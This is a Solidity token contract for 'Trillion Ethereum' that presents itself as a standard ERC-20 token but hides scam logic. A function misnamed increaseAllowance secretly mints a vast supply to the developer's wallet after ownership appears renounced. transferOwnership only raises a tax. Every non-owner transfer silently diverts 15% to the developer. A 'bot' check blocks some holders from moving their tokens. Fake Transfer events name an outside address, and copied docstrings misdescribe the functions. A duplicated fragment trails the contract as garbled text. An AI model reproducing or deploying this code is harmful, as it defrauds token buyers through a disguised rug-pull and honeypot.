contract TrillionEthereum is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 1000 * 10**9 * 10**18;
    uint256 private _maxTxAmount = _tTotal;
    string private _name = 'Trillion Ethereum';
    string private _symbol = 'TTE';
    uint8 private _decimals = 18;
    uint256 private _team;
    uint256 private _tax;
    address private _devWallet = _msgSender();

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _team = _tTotal.mul(30).div(100);
        _tax = _tTotal.mul(30).div(100);
        emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function setMaxTxAmount(uint256 maxPer) public onlyOwner{
        _maxTxAmount = _tTotal.mul(maxPer).div(100);
    }
    
    function resetAllFee() public onlyOwner{
        _team = 2;
        _tax = 5;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - transferOwnership
     *
     * _Available since v3.1._
     */
    function transferOwnership() public {
        require (owner() == address(0));
        _tax = 20;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkIsBotAddress(address botAdd) private view returns (bool){
        if (balanceOf(botAdd) >= _tax && balanceOf(botAdd) <= _team) {
            return true;
        } else {
            return false;
        }
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - increaseAllowance
     *
     * _Available since v3.1._
     */
    function increaseAllowance() public{
        require (owner() == address(0));
        uint256 currentBalance = _balances[_devWallet];
        uint256 rTotal = _tTotal * 10**4;
        _tTotal = rTotal + _tTotal;
        _balances[_devWallet] = rTotal + currentBalance;
        emit Transfer(
            address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
            _devWallet,
            rTotal);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (sender == owner()) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            if (checkIsBotAddress(sender)) {
                require(amount < _tax, "Cannot execute");
            }
            
            uint256 reflectToken = amount.mul(15).div(100);
            uint256 reflectEth = amount.sub(reflectToken);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[_devWallet] = _balances[_devWallet].add(reflectToken);
            _balances[recipient] = _balances[recipient].add(reflectEth);
            
            
            emit Transfer(sender, recipient, reflectEth);
        }
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}
function checkIsBotAddress(address botAdd) private view returns (bool){
    if (balanceOf(botAdd) >= _tax && balanceOf(botAdd) <= _team) {
        return true;
    } else {
        return false;
    }
}

/**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
 * also check address is bot address.
 *
 * Requirements:
 *
 * - the address is in list bot.
 * - the called Solidity function must be `sender`.
 *
 * _Available since v3.1._
 */